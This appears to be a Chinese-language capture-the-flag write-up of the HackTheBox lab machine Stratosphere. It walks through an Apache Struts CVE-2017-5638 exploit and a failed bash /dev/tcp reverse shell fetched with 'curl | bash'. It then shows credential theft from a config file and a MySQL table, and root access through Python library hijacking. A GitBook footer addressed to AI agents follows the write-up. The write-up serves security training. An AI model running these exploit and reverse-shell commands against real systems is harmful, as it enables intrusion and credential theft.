> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Stratosphere HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**技能：**

* Apache Struts 利用（CVE-2017-5638）
* Python 库劫持（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/e2c184bbd6ef3cd3369155763037f57d0a4c5c5c" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/8bb09d58ce1f21a9ca10cdbefd50385bb741eaae" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="/files/3e6898061e1f7f0999a20805a2fa8d2e73b7df07" alt=""><figcaption></figcaption></figure>

**使用 ExtractPorts 进行开放端口分析（**&#x32;2.80.808&#x30;**)**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="/files/eb98120219347f56ca8d1c87c392cbea6f366cf3" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描端口版本并在“targeted”文件中提取信息

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="/files/d453522ff3f6dd5d55330118ab26534d33c96ed6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a7448b7f0bd65e87be6a32586ff70fbfbb07e178" alt=""><figcaption></figcaption></figure>

### /*/Web 服务探索（80 和 8080 端口）//*

80 和 8080 端口托管同一个网站。

<figure><img src="/files/7d924347f0847622eaf6d8549fb6307eedbedf73" alt=""><figcaption></figcaption></figure>

### 使用……进行模糊测试 **Gobuster**

我们启动 `Gobuster` 以搜索有趣的目录

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

我们发现以下路径：

* `/manager` - Tomcat 管理界面
* `/monitoring` - 监控部分

<figure><img src="/files/9be68a614367bba9977106b953063c816501eee3" alt=""><figcaption></figcaption></figure>

### 管理器 - Tomcat：

<figure><img src="/files/67737d9fcca2ae5049c3e950ae6efd197feb9536" alt=""><figcaption></figcaption></figure>

### 监控：

<figure><img src="/files/56bfa4275bda4d6c7a4f955775d208fc7bb9bef6" alt=""><figcaption></figcaption></figure>

## Apache Struts 利用（CVE-2017-5638）

#### **监控目录探索**

通过尝试注册，我们得到一条错误消息。我们还观察到一个扩展名 `.action`，这可能表明这是一个基于 Apache Struts 的应用程序

<figure><img src="/files/0bf7ccac766be84093bcd5f4d713a416a897e908" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

我们使用 `struts-pwn.py` 以测试远程命令执行：

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

命令生效，确认存在漏洞。

<figure><img src="/files/3ab61b5dfd7b208ac72acc6ef04d4789f5c654f6" alt=""><figcaption></figcaption></figure>

#### **反向 Shell**

1. 使用 Netcat 监听：

```bash
nc -nvlp 443
```

2. 创建一个 `index.html` 包含我们反向 shell 的文件：

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. 使用 Python Web 服务器托管该文件：

```
python3 -m http.server 8080
```

4. 通过漏洞利用运行反向 shell：

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

遗憾的是，这种方法失败了。

### **敏感信息提取**

我们列出服务器上的文件：

<figure><img src="/files/809a60db9fbbad0eb75817f863e485e4987fc313" alt=""><figcaption></figcaption></figure>

我们发现一个 `db_connect` 文件。通过查看它，我们获得凭据：

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/6a790ef307ad3d38ce621a54b770cb036de1623a" alt=""><figcaption></figcaption></figure>

从 mysql 凭据中恢复的信息：

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="/files/20bce5660fd76fa0ec4b51c90861a8eebd94af1d" alt=""><figcaption></figcaption></figure>

### 提取信息 - mysqlshow

#### **数据库枚举**

我们使用 `mysqlshow` 以列出该用户可访问的数据库 `admin` 通过利用 Struts 漏洞，借助 `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="/files/8259afae666d9f3b3639543a9a10889abd049f24" alt=""><figcaption></figcaption></figure>

这使我们能够识别该数据库 **users**.

#### **表概览**

然后我们列出该数据库中的表 **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="/files/fc2b7f5705ffd40b810e72f10c91878c67aef066" alt=""><figcaption></figcaption></figure>

#### **列枚举和凭据提取**

现在我们列出该表的列 **accounts** 并尝试提取其内容

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="/files/0fb246c17be34ae4d198eb4304b065f9d028ad4e" alt=""><figcaption></figcaption></figure>

我们获得以下信息：

* **用户名**: `richard`
* **密码**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="/files/bf79730a8a67c39c22ebddd103e40128c0611696" alt=""><figcaption></figcaption></figure>

我们使用找到的信息连接到目标机器的 SSH：

```bash
ssh richard@10.10.10.64
```

<figure><img src="/files/066397cb5940fa8b056928dfbe2424030bfcda1e" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/90195c1cdd553314276c05c274ed0b872ee13b99" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### Python 库劫持权限提升

首先，你运行以下命令以列出 `sudo` 权限：

<figure><img src="/files/c444155bc44d22af744ee9252a150420bdd4bddb" alt=""><figcaption></figcaption></figure>

我们注意到我们有权限以 `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="/files/fc1e2846470c382f51a33a886ea7e1f3c9daf3f3" alt=""><figcaption></figcaption></figure>

通过分析 `/home/richard/test.py` 脚本，可以观察到它导入了一个模块，但没有指定其绝对路径，例如：

```
import os
os.system("bash")
```

然后我们以 `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* 一旦脚本启动，我们的恶意版本的 `hashlib.py` 被加载，运行一个具有 `root` 权限的 shell。

<figure><img src="/files/fd0d374a314809218b30716b66f9b3d96300e0e2" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/7bb15de083aad4d41e59b5130606305061d828bf" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="/files/0dc9df9d993dba12ebe6adadef59300b8e20686d" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
